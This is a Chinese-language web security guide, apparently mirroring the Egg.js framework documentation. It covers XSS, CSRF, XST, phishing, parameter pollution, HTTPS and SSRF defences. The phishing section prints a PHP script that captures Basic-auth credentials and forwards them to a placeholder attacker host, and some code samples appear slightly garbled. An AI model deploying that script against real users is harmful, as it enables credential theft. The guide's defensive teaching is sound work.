Egg 安全相關(guān)

2020-02-06 14:11 更新

Web 安全概念

Web 應(yīng)用中存在很多安全風(fēng)險,這些風(fēng)險會被黑客利用,輕則篡改網(wǎng)頁內(nèi)容,重則竊取網(wǎng)站內(nèi)部數(shù)據(jù),更為嚴(yán)重的則是在網(wǎng)頁中植入惡意代碼,使得用戶受到侵害。常見的安全漏洞如下:

  • XSS 攻擊:對 Web 頁面注入腳本,使用 JavaScript 竊取用戶信息,誘導(dǎo)用戶操作。
  • CSRF 攻擊:偽造用戶請求向網(wǎng)站發(fā)起惡意請求。
  • 釣魚攻擊:利用網(wǎng)站的跳轉(zhuǎn)鏈接或者圖片制造釣魚陷阱。
  • HTTP參數(shù)污染:利用對參數(shù)格式驗證的不完善,對服務(wù)器進(jìn)行參數(shù)注入攻擊。
  • 遠(yuǎn)程代碼執(zhí)行:用戶通過瀏覽器提交執(zhí)行命令,由于服務(wù)器端沒有針對執(zhí)行函數(shù)做過濾,導(dǎo)致在沒有指定絕對路徑的情況下就執(zhí)行命令。

而框架本身針對 Web 端常見的安全風(fēng)險內(nèi)置了豐富的解決方案:

  • 利用 extend 機制擴展了 Helper API, 提供了各種模板過濾函數(shù),防止釣魚或 XSS 攻擊。
  • 常見 Web 安全頭的支持。
  • CSRF 的防御方案。
  • 靈活的安全配置,可以匹配不同的請求 url 。
  • 可定制的白名單,用于安全跳轉(zhuǎn)和 url 過濾。
  • 各種模板相關(guān)的工具函數(shù)做預(yù)處理。

在框架中內(nèi)置了安全插件 egg-security, 提供了默認(rèn)的安全實踐。

開啟與關(guān)閉配置

注意:除非清楚的確認(rèn)后果,否則不建議擅自關(guān)閉安全插件提供的功能。

框架的安全插件是默認(rèn)開啟的,如果我們想關(guān)閉其中一些安全防范,直接設(shè)置該項的 enable 屬性為 false 即可。例如關(guān)閉 xframe 防范:

exports.security = {
xframe: {
enable: false,
},
};

match 和 ignore

match 和 ignore 使用方法和格式與中間件通用配置一致。

如果只想開啟針對某一路徑,則配置 match 選項,例如只針對 /example 開啟 CSP:

exports.security = {
csp: {
match: '/example',
policy: {
//...
},
},
};

如果需要針對某一路徑忽略某安全選項,則配置 ignore 選項,例如針對 /example 關(guān)閉 xframe,以便合作商戶能夠嵌入我們的頁面:

exports.security = {
csp: {
ignore: '/example',
xframe: {
//...
},
},
};

如果要針對內(nèi)部 ip 關(guān)閉部分安全防范:

exports.security = {
csrf: {
// 判斷是否需要 ignore 的方法,請求上下文 context 作為第一個參數(shù)
ignore: ctx => isInnerIp(ctx.ip),
},
}

下面我們會針對具體的場景,來講解如何使用框架提供的安全方案進(jìn)行 Web 安全防范。

安全威脅XSS的防范

XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見的 Web 攻擊,其重點是『跨域』和『客戶端執(zhí)行』。

XSS 攻擊一般分為兩類:

  • Reflected XSS(反射型的 XSS 攻擊)
  • Stored XSS(存儲型的 XSS 攻擊)

Reflected XSS

反射型的 XSS 攻擊,主要是由于服務(wù)端接收到客戶端的不安全輸入,在客戶端觸發(fā)執(zhí)行從而發(fā)起 Web 攻擊。比如:

在某購物網(wǎng)站搜索物品,搜索結(jié)果會顯示搜索的關(guān)鍵詞。搜索關(guān)鍵詞填入<script>alert('handsome boy')</script>, 點擊搜索。頁面沒有對關(guān)鍵詞進(jìn)行過濾,這段代碼就會直接在頁面上執(zhí)行,彈出 alert。

防范方式

框架提供了 helper.escape() 方法對字符串進(jìn)行 XSS 過濾。

const str = '><script>alert("abc") </script><';
console.log(ctx.helper.escape(str));
// => ><script&gt;alert(&quot;abc&quot;) &lt;/script&gt;&lt;

當(dāng)網(wǎng)站需要直接輸出用戶輸入的結(jié)果時,請務(wù)必使用 helper.escape() 包裹起來,如在 egg-view-nunjucks 里面就覆蓋掉了內(nèi)置的 escape。

另外一種情況,網(wǎng)站輸出的內(nèi)容會提供給 JavaScript 來使用。這個時候需要使用 helper.sjs() 來進(jìn)行過濾。

helper.sjs() 用于在 JavaScript(包括 onload 等 event)中輸出變量,會對變量中字符進(jìn)行 JavaScript ENCODE, 將所有非白名單字符轉(zhuǎn)義為 \x 形式,防止 XSS 攻擊,也確保在 js 中輸出的正確性。使用實例:

const foo = '"hello"';

// 未使用 sjs
console.log(`var foo = "${foo}";`);
// => var foo = ""hello"";

// 使用 sjs
console.log(`var foo = "${this.helper.sjs(foo)}";`);
// => var foo = "\\x22hello\\x22";

還有一種情況,有時候我們需要在 JavaScript 中輸出 json ,若未做轉(zhuǎn)義,易被利用為 XSS 漏洞。框架提供了 helper.sjson() 宏做 json encode,會遍歷 json 中的 key ,將 value 的值中,所有非白名單字符轉(zhuǎn)義為 \x 形式,防止 XSS 攻擊。同時保持 json 結(jié)構(gòu)不變。 若存在模板中輸出一個 JSON 字符串給 JavaScript 使用的場景,請使用 helper.sjson(變量名) 進(jìn)行轉(zhuǎn)義。

處理過程較復(fù)雜,性能損耗較大,請僅在必要時使用。

實例:

<script>
window.locals = {{ helper.sjson(locals) }};
</script>

Stored XSS

基于存儲的 XSS 攻擊,是通過提交帶有惡意腳本的內(nèi)容存儲在服務(wù)器上,當(dāng)其他人看到這些內(nèi)容時發(fā)起 Web 攻擊。一般提交的內(nèi)容都是通過一些富文本編輯器編輯的,很容易插入危險代碼。

防范方式

框架提供了 helper.shtml() 方法對字符串進(jìn)行 XSS 過濾。

注意,將富文本(包含 HTML 代碼的文本)當(dāng)成變量直接在模版里面輸出時,需要用到 shtml 來處理。 使用 shtml 可以輸出 HTML 的 tag,同時執(zhí)行 XSS 的過濾動作,過濾掉非法的腳本。

由于是一個非常復(fù)雜的安全處理過程,對服務(wù)器處理性能一定影響,如果不是輸出 HTML,請勿使用。

簡單示例:

// js
const value = `<a rel="external nofollow" target="_blank" rel="external nofollow" target="_blank" >google</a><script>evilcode…</script>`;

// 模板
<html>
<body>
{{ helper.shtml(value) }}
</body>
</html>
// => <a rel="external nofollow" target="_blank" rel="external nofollow" target="_blank" >google</a>&lt;script&gt;evilcode…&lt;/script&gt;

shtml 在 xss 模塊基礎(chǔ)上增加了針對域名的過濾。

例如只支持 a 標(biāo)簽,且除了 title 其他屬性都過濾掉: whiteList: {a: ['title']}

options:

  • config.helper.shtml.domainWhiteList: [] 可拓展 href 和 src 中允許的域名白名單。

注意,shtml 使用了嚴(yán)格的白名單機制,除了過濾掉 XSS 風(fēng)險的字符串外, 在默認(rèn)規(guī)則外的 tag 和 attr 都會被過濾掉。

例如 HTML 標(biāo)簽就不在白名單中,

const html = '<html></html>';

// html
{{ helper.shtml(html) }}

// 輸出空

常見的 data-xx 屬性由于不在白名單中,所以都會被過濾。

所以,一定要注意 shtml 的適用場景,一般是針對來自用戶的富文本輸入,切忌濫用,功能既受到限制,又會影響服務(wù)端性能。 此類場景一般是論壇、評論系統(tǒng)等,即便是論壇等如果不支持 HTML 內(nèi)容輸入,也不要使用此 Helper,直接使用 escape 即可。

JSONP XSS

JSONP 的 callback 參數(shù)非常危險,他有兩種風(fēng)險可能導(dǎo)致 XSS

1、callback 參數(shù)意外截斷js代碼,特殊字符單引號雙引號,換行符均存在風(fēng)險。

2、callback 參數(shù)惡意添加標(biāo)簽(如 <script> ),造成 XSS 漏洞。

參考 JSONP 安全攻防

框架內(nèi)部使用 jsonp-body 來對 JSONP 請求進(jìn)行安全防范。

防御內(nèi)容:

  • callback 函數(shù)名詞最長 50 個字符限制
  • callback 函數(shù)名只允許 [, ], a-zA-Z0123456789_, $, .,防止一般的 XSS,utf-7 XSS等攻擊。

可定義配置:

  • callback 默認(rèn) _callback,可以重命名。
  • limit - 函數(shù)名 length 限制,默認(rèn) 50。

其他 XSS 的防范方式

瀏覽器自身具有一定針對各種攻擊的防范能力,他們一般是通過開啟 Web 安全頭生效的??蚣軆?nèi)置了一些常見的 Web 安全頭的支持。

CSP

W3C 的 Content Security Policy,簡稱 CSP,主要是用來定義頁面可以加載哪些資源,減少 XSS 的發(fā)生。

框架內(nèi)支持 CSP 的配置,不過是默認(rèn)關(guān)閉的,開啟后可以有效的防止 XSS 攻擊的發(fā)生。要配置 CSP , 需要對 CSP 的 policy 策略有了解,具體細(xì)節(jié)可以參考 CSP 是什么。

X-Download-Options:noopen

默認(rèn)開啟,禁用 IE 下下載框Open按鈕,防止 IE 下下載文件默認(rèn)被打開 XSS。

X-Content-Type-Options:nosniff

禁用 IE8 自動嗅探 mime 功能例如 text/plain 卻當(dāng)成 text/html 渲染,特別當(dāng)本站點 serve 的內(nèi)容未必可信的時候。

X-XSS-Protection

IE 提供的一些 XSS 檢測與防范,默認(rèn)開啟

  • close 默認(rèn)值false,即設(shè)置為 1; mode=block

安全威脅 CSRF 的防范

CSRF(Cross-site request forgery跨站請求偽造,也被稱為 One Click Attack 或者 Session Riding,通??s寫為 CSRF 或者 XSRF,是一種對網(wǎng)站的惡意利用。 CSRF 攻擊會對網(wǎng)站發(fā)起惡意偽造的請求,嚴(yán)重影響網(wǎng)站的安全。因此框架內(nèi)置了 CSRF 防范方案。

防范方式

通常來說,對于 CSRF 攻擊有一些通用的防范方案,簡單的介紹幾種常用的防范方案:

  • Synchronizer Tokens:通過響應(yīng)頁面時將 token 渲染到頁面上,在 form 表單提交的時候通過隱藏域提交上來。
  • Double Cookie Defense:將 token 設(shè)置在 Cookie 中,在提交 post 請求的時候提交 Cookie,并通過 header 或者 body 帶上 Cookie 中的 token,服務(wù)端進(jìn)行對比校驗。
  • Custom Header:信任帶有特定的 header(例如 X-Requested-With: XMLHttpRequest)的請求。這個方案可以被繞過,所以 rails 和 django 等框架都放棄了該防范方式。

框架結(jié)合了上述幾種防范方式,提供了一個可配置的 CSRF 防范策略。

使用方式

同步表單的 CSRF 校驗

在同步渲染頁面時,在表單請求中增加一個 name 為 _csrf 的 url query,值為 ctx.csrf,這樣用戶在提交這個表單的時候會將 CSRF token 提交上來:

<form method="POST" action="/upload?_csrf={{ ctx.csrf | safe }}" enctype="multipart/form-data">
title: <input name="title" />
file: <input name="file" type="file" />
<button type="submit">upload</button>
</form>

傳遞 CSRF token 的字段可以在配置中改變:

// config/config.default.js
module.exports = {
security: {
csrf: {
queryName: '_csrf', // 通過 query 傳遞 CSRF token 的默認(rèn)字段為 _csrf
bodyName: '_csrf', // 通過 body 傳遞 CSRF token 的默認(rèn)字段為 _csrf
},
},
};

為了防范 BREACH 攻擊,通過同步方式渲染到頁面上的 CSRF token 在每次請求時都會變化,egg-view-nunjucks 等 View 插件會自動對 Form 進(jìn)行注入,對應(yīng)用開發(fā)者無感知。

AJAX 請求

在 CSRF 默認(rèn)配置下,token 會被設(shè)置在 Cookie 中,在 AJAX 請求的時候,可以從 Cookie 中取到 token,放置到 query、body 或者 header 中發(fā)送給服務(wù)端。

In jQuery:

var csrftoken = Cookies.get('csrfToken');

function csrfSafeMethod(method) {
// these HTTP methods do not require CSRF protection
return (/^(GET|HEAD|OPTIONS|TRACE)$/.test(method));
}
$.ajaxSetup({
beforeSend: function(xhr, settings) {
if (!csrfSafeMethod(settings.type) && !this.crossDomain) {
xhr.setRequestHeader('x-csrf-token', csrftoken);
}
},
});

通過 header 傳遞 CSRF token 的字段也可以在配置中改變:

// config/config.default.js
module.exports = {
security: {
csrf: {
headerName: 'x-csrf-token', // 通過 header 傳遞 CSRF token 的默認(rèn)字段為 x-csrf-token
},
},
};

Session vs Cookie 存儲

默認(rèn)配置下,框架會將 CSRF token 存在 Cookie 中,以方便 AJAX 請求獲取到。但是所有的子域名都可以設(shè)置 Cookie,因此當(dāng)我們的應(yīng)用處于無法保證所有的子域名都受控的情況下,存放在 Cookie 中可能有被 CSRF 攻擊的風(fēng)險??蚣芴峁┝艘粋€配置項,可以將 token 存放到 Session 中。

// config/config.default.js
module.exports = {
security: {
csrf: {
useSession: true, // 默認(rèn)為 false,當(dāng)設(shè)置為 true 時,將會把 csrf token 保存到 Session 中
cookieName: 'csrfToken', // Cookie 中的字段名,默認(rèn)為 csrfToken
sessionName: 'csrfToken', // Session 中的字段名,默認(rèn)為 csrfToken
},
},
};

忽略 JSON 請求(已廢棄)

注意:該選項已廢棄,攻擊者可以通過 flash + 307 來攻破,請不要在生產(chǎn)環(huán)境打開改選項!

在 SOP 的安全策略保護下,基本上所有的現(xiàn)代瀏覽器都不允許跨域發(fā)起 content-type 為 JSON 的請求,因此我們可以直接放過類型的 JSON 格式的請求。

// config/config.default.js
module.exports = {
security: {
csrf: {
ignoreJSON: true, // 默認(rèn)為 false,當(dāng)設(shè)置為 true 時,將會放過所有 content-type 為 `application/json` 的請求
},
},
};

刷新 CSRF token

當(dāng) CSRF token 存儲在 Cookie 中時,一旦在同一個瀏覽器上發(fā)生用戶切換,新登陸的用戶將會依舊使用舊的 token(之前用戶使用的),這會帶來一定的安全風(fēng)險,因此在每次用戶登陸的時候都必須刷新 CSRF token。

// login controller
exports.login = function* (ctx) {
const { username, password } = ctx.request.body;
const user = yield ctx.service.user.find({ username, password });
if (!user) ctx.throw(403);
ctx.session = { user };

// 調(diào)用 rotateCsrfSecret 刷新用戶的 CSRF token
ctx.rotateCsrfSecret();

ctx.body = { success: true };
}

安全威脅 XST 的防范

XST 的全稱是 Cross-Site Tracing,客戶端發(fā) TRACE 請求至服務(wù)器,如果服務(wù)器按照標(biāo)準(zhǔn)實現(xiàn)了 TRACE 響應(yīng),則在 response body 里會返回此次請求的完整頭信息。通過這種方式,客戶端可以獲取某些敏感的頭字段,例如 httpOnly 的 Cookie。

下面我們基于 Koa 來實現(xiàn)一個簡單的支持 TRACE 方法的服務(wù)器:

var koa = require('koa');
var app = koa();

app.use(function* (next) {
this.cookies.set('a', 1, { httpOnly: true });
if (this.method === 'TRACE') {
var body = '';
for (header in this.headers) {
body += header + ': ' + this.headers[header] + '\r\n';
}
this.body = body;
}
yield* next;
});

app.listen(7001);

啟動服務(wù)后,先發(fā)個 GET 請求 curl -i http://127.0.0.1:7001,得到如下響應(yīng):

HTTP/1.1 200 OK
X-Powered-By: koa
Set-Cookie: a=1; path=/; httponly
Content-Type: text/plain; charset=utf-8
Content-Length: 2
Date: Thu, 06 Nov 2014 05:04:42 GMT
Connection: keep-alive

OK

服務(wù)器設(shè)置了一個 httpOnly 的 Cookie 為 1,在瀏覽器環(huán)境中,是無法通過腳本獲取它的。

接著我們發(fā) TRACE 請求到服務(wù)器curl -X TRACE -b a=1 -i http://127.0.0.1:7001,并帶上 Cookie,得到如下響應(yīng):

HTTP/1.1 200 OK
X-Powered-By: koa
Set-Cookie: a=1; path=/; httponly
Content-Type: text/plain; charset=utf-8
Content-Length: 73
Date: Thu, 06 Nov 2014 05:07:47 GMT
Connection: keep-alive

user-agent: curl/7.37.1
host: 127.0.0.1:7001
accept: */*
cookie: a=1

在響應(yīng)體里可以看到完整的頭信息,這樣我們就繞過了 httpOnly 的限制,拿到了cookie=1,造成了很大的風(fēng)險。

拓展閱讀

http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html

http://deadliestwebattacks.com/2010/05/18/cross-site-tracing-xst-the-misunderstood-vulnerability/

防范方式

框架已經(jīng)禁止了 trace,track,options 三種危險類型請求。

安全威脅 釣魚攻擊 的防范

釣魚有多種方式,這里介紹 url 釣魚、圖片釣魚和 iframe 釣魚。

url 釣魚

服務(wù)端未對傳入的跳轉(zhuǎn) url 變量進(jìn)行檢查和控制,可能導(dǎo)致可惡意構(gòu)造任意一個惡意地址,誘導(dǎo)用戶跳轉(zhuǎn)到惡意網(wǎng)站。 由于是從可信的站點跳轉(zhuǎn)出去的,用戶會比較信任,所以跳轉(zhuǎn)漏洞一般用于釣魚攻擊,通過轉(zhuǎn)到惡意網(wǎng)站欺騙用戶輸入用戶名和密碼盜取用戶信息,或欺騙用戶進(jìn)行金錢交易; 也可能引發(fā)的 XSS 漏洞(主要是跳轉(zhuǎn)常常使用 302 跳轉(zhuǎn),即設(shè)置 HTTP 響應(yīng)頭,Locatioin: url,如果 url 包含了 CRLF,則可能隔斷了 HTTP 響應(yīng)頭,使得后面部分落到了 HTTP body,從而導(dǎo)致 XSS 漏洞)。

防范方式

  • 若跳轉(zhuǎn)的 url 事先是可以確定的,包括 url 和參數(shù)的值,則可以在后臺先配置好,url 參數(shù)只需傳對應(yīng) url 的索引即可,通過索引找到對應(yīng)具體 url 再進(jìn)行跳轉(zhuǎn);
  • 若跳轉(zhuǎn)的 url 事先不確定,但其輸入是由后臺生成的(不是用戶通過參數(shù)傳人),則可以先生成好跳轉(zhuǎn)鏈接然后進(jìn)行簽名;
  • 若 1 和 2 都不滿足,url 事先無法確定,只能通過前端參數(shù)傳入,則必須在跳轉(zhuǎn)的時候?qū)?url 進(jìn)行按規(guī)則校驗:判斷 url 是否在應(yīng)用授權(quán)的白名單內(nèi)。

框架提供了安全跳轉(zhuǎn)的方法,可以通過配置白名單避免這種風(fēng)險。

  • ctx.redirect(url) 如果不在配置的白名單內(nèi),則禁止。
  • ctx.unsafeRedirect(url) 一般不建議使用,明確了解可能帶來的風(fēng)險后使用。

安全方案覆蓋了默認(rèn)的ctx.redirect方法,所有的跳轉(zhuǎn)均會經(jīng)過安全域名的判斷。

用戶如果使用ctx.redirect方法,需要在應(yīng)用的配置文件中做如下配置:

// config/config.default.js
exports.security = {
domainWhiteList:['.domain.com'], // 安全白名單,以 . 開頭
};

若用戶沒有配置 domainWhiteList 或者 domainWhiteList數(shù)組內(nèi)為空,則默認(rèn)會對所有跳轉(zhuǎn)請求放行,即等同于ctx.unsafeRedirect(url)

圖片釣魚

如果可以允許用戶向網(wǎng)頁里插入未經(jīng)驗證的外鏈圖片,這有可能出現(xiàn)釣魚風(fēng)險。

比如常見的 401釣魚, 攻擊者在訪問頁面時,頁面彈出驗證頁面讓用戶輸入帳號及密碼,當(dāng)用戶輸入之后,帳號及密碼就存儲到了黑客的服務(wù)器中。 通常這種情況會出現(xiàn)在<img src=$url />中,系統(tǒng)不對$url是否在域名白名單內(nèi)進(jìn)行校驗。

攻擊者可以在自己的服務(wù)器中構(gòu)造以下代碼:

401.php:作用為彈出 401 窗口,并且記錄用戶信息。

<?php
header('WWW-Authenticate: Basic realm="No authorization"');
header('HTTP/1.1 401 Unauthorized');
$domain = "http://hacker.com/fishing/";
if ($_SERVER[sectech:'PHP_AUTH_USER'] !== null){
header("Location: ".$domain."record.php?a=".$_SERVER[sectech:'PHP_AUTH_USER']."&b=".$_SERVER[sectech:'PHP_AUTH_PW']);
}
?>

之后攻擊者生成一個圖片鏈接<img src="http://xxx.xxx.xxx/fishing/401.php?a.jpg//" rel="external nofollow" />。

當(dāng)用戶訪問時,會彈出信息讓用戶點擊,用戶輸入的用戶名及密碼會被黑客的服務(wù)器偷偷記錄。

防范方式

框架提供了 .surl() 宏做 url 過濾。

用于在 html 標(biāo)簽中中要解析 url 的地方(比如 <a href=""/><img src=""/>),其他地方不允許使用。

對模板中要輸出的變量,加 helper.surl($value)。

注意:在需要解析 url 的地方,surl 外面一定要加上雙引號,否則就會導(dǎo)致XSS漏洞。

不使用 surl

<a href="$value" />

output:

<a  rel="external nofollow" target="_blank"  />

使用 surl

<a href="helper.surl($value)" />

output:

<a  rel="external nofollow" target="_blank"  />

iframe 釣魚

iframe 釣魚,通過內(nèi)嵌 iframe 到被攻擊的網(wǎng)頁中,攻擊者可以引導(dǎo)用戶去點擊 iframe 指向的危險網(wǎng)站,甚至遮蓋,影響網(wǎng)站的正常功能,劫持用戶的點擊操作。

框架提供了 X-Frame-Options 這個安全頭來防止 iframe 釣魚。默認(rèn)值為 SAMEORIGIN,只允許同域把本頁面當(dāng)作 iframe 嵌入。

當(dāng)需要嵌入一些可信的第三方網(wǎng)頁時,可以關(guān)閉這個配置。

安全威脅 HPP 的防范

Http Parameter Pollution(HPP),即 HTTP 參數(shù)污染攻擊。在HTTP協(xié)議中是允許同樣名稱的參數(shù)出現(xiàn)多次,而由于應(yīng)用的實現(xiàn)不規(guī)范,攻擊者通過傳播參數(shù)的時候傳輸 key 相同而 value 不同的參數(shù),從而達(dá)到繞過某些防護的后果。

HPP 可能導(dǎo)致的安全威脅有:

  • 繞過防護和參數(shù)校驗。
  • 產(chǎn)生邏輯漏洞和報錯,影響應(yīng)用代碼執(zhí)行。

拓展閱讀

  • https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)
  • http://blog.csdn.net/eatmilkboy/article/details/6761407
  • https://media.blackhat.com/bh-us-11/Balduzzi/BH_US_11_Balduzzi_HPP_WP.pdf
  • ebay 因參數(shù)污染存在 RCE(遠(yuǎn)程命令執(zhí)行)漏洞:http://secalert.net/2013/12/13/ebay-remote-code-execution/

如何防范

框架本身會在客戶端傳輸 key 相同而 value 不同的參數(shù)時,強制使用第一個參數(shù),因此不會導(dǎo)致 hpp 攻擊。

中間人攻擊與 HTTP / HTTPS

HTTP 是網(wǎng)絡(luò)應(yīng)用廣泛使用的協(xié)議,負(fù)責(zé) Web 內(nèi)容的請求和獲取。然而,內(nèi)容請求和獲取時會經(jīng)過許多中間人,主要是網(wǎng)絡(luò)環(huán)節(jié),充當(dāng)內(nèi)容入口的瀏覽器、路由器廠商、WIFI提供商、通信運營商,如果使用了代理、翻墻軟件則會引入更多中間人。由于 HTTP 請求的路徑、參數(shù)默認(rèn)情況下均是明文的,因此這些中間人可以對 HTTP 請求進(jìn)行監(jiān)控、劫持、阻擋。

在沒有 HTTPS 時,運營商可在用戶發(fā)起請求時直接跳轉(zhuǎn)到某個廣告,或者直接改變搜索結(jié)果插入自家的廣告。如果劫持代碼出現(xiàn)了 BUG ,則直接讓用戶無法使用,出現(xiàn)白屏。

數(shù)據(jù)泄露、請求劫持、內(nèi)容篡改等等問題,核心原因就在于 HTTP 是全裸式的明文請求,域名、路徑和參數(shù)都被中間人們看得一清二楚。HTTPS 做的就是給請求加密,讓其對用戶更加安全。對于自身而言除了保障用戶利益外,還可避免本屬于自己的流量被挾持,以保護自身利益。

盡管 HTTPS 并非絕對安全,掌握根證書的機構(gòu)、掌握加密算法的組織同樣可以進(jìn)行中間人形式的攻擊。不過HTTPS是現(xiàn)行架構(gòu)下最安全的解決方案,并且它大幅增加了中間人攻擊的成本。

因此,請各位使用 Egg 框架開發(fā)網(wǎng)站的開發(fā)者,務(wù)必推動自己的網(wǎng)站升級到 HTTPS。

對于 HTTPS 來講,還有一點要注意的是 HTTP 嚴(yán)格傳輸安全(HSTS),如果不使用 HSTS,當(dāng)用戶在瀏覽器中輸入網(wǎng)址時沒有加 HTTPS,瀏覽器會默認(rèn)使用 HTTP 訪問

框架默認(rèn)關(guān)閉了 hsts Strict-Transport-Security。使得 HTTPS 站點不跳轉(zhuǎn)到 HTTP,如果站點支持 HTTPS,請一定要開啟。

如果我們的Web 站點是 http 站點,需要關(guān)閉這個頭。配置如下:

  • maxAge 默認(rèn)一年 365 * 24 * 3600。
  • includeSubdomains 默認(rèn) false, 可以添加子域名,保證所有子域名都使用 HTTPS 訪問。

安全威脅 SSRF 的防范

通過 Server-Side Request Forgery(SSRF) 攻擊,攻擊者可以發(fā)起網(wǎng)絡(luò)請求訪問或者操作內(nèi)部網(wǎng)絡(luò)的資源。

一般來說,SSRF 安全漏洞常見于開發(fā)者在服務(wù)端直接請求客戶端傳遞進(jìn)來的 URL 資源,一旦攻擊者傳入一些內(nèi)部的 URL 即可發(fā)起 SSRF 攻擊。

如何防范

通常我們會基于內(nèi)網(wǎng) IP 黑名單的形式來防范 SSRF 攻擊,通過對解析域名后得到的 IP 做過濾,禁止訪問內(nèi)部 IP 地址來達(dá)到防范 SSRF 攻擊的目的。

框架在 ctx, app 和 agent 上都提供了 safeCurl 方法,在發(fā)起網(wǎng)絡(luò)請求的同時會對指定的內(nèi)網(wǎng) IP 地址過濾,除此之外,該方法和框架提供的 curl 方法一致。

  • ctx.safeCurl(url, options)
  • app.safeCurl(url, options)
  • agent.safeCurl(url, options)

配置

直接調(diào)用 safeCurl 方法其實并沒有任何作用,還需要配合安全配置項。

  • ipBlackList(Array) - 配置內(nèi)網(wǎng) IP 名單,在這些網(wǎng)段內(nèi)的 IP 地址無法被訪問。
  • checkAddress(Function) - 直接配置一個檢查 IP 地址的函數(shù),根據(jù)函數(shù)的返回值來判斷是否允許在 safeCurl 中被訪問,當(dāng)返回非 true 時,該 IP 無法被訪問。checkAddress 優(yōu)先級高于 ipBlackList。
// config/config.default.js
exports.security = {
ssrf: {
ipBlackList: [
'10.0.0.0/8', // 支持 IP 網(wǎng)段
'0.0.0.0/32',
'127.0.0.1', // 支持指定 IP 地址
],
// 配置了 checkAddress 時,ipBlackList 不會生效
checkAddress(ip) {
return ip !== '127.0.0.1';
},
},
};

其他安全工具

ctx.isSafeDomain(domain)

是否為安全域名。安全域名在配置中配置,見 ctx.redirect 部分。

app.injectCsrf(str)

這個函數(shù)提供了模板預(yù)處理-自動插入 CSRF key 的能力,可以自動在所有的 form 標(biāo)簽中插入 CSRF 隱藏域,用戶就不需要手動寫了。

app.injectNonce(str)

這個函數(shù)提供了模板預(yù)處理-自動插入 nonce 的能力,如果網(wǎng)站開啟了 CSP 安全頭,并且想使用 CSP 2.0 nonce 特性,可以使用這個函數(shù)。參考 CSP 是什么。

這個函數(shù)會掃描模板中的 script 標(biāo)簽,并自動加上 nonce 頭。

app.injectHijackingDefense(str)

對于沒有開啟 HTTPS 的網(wǎng)站,這個函數(shù)可以有限的防止運營商劫持。


以上內(nèi)容是否對您有幫助:
在線筆記
App下載
App下載

掃描二維碼

下載編程獅App

公眾號
微信公眾號

編程獅公眾號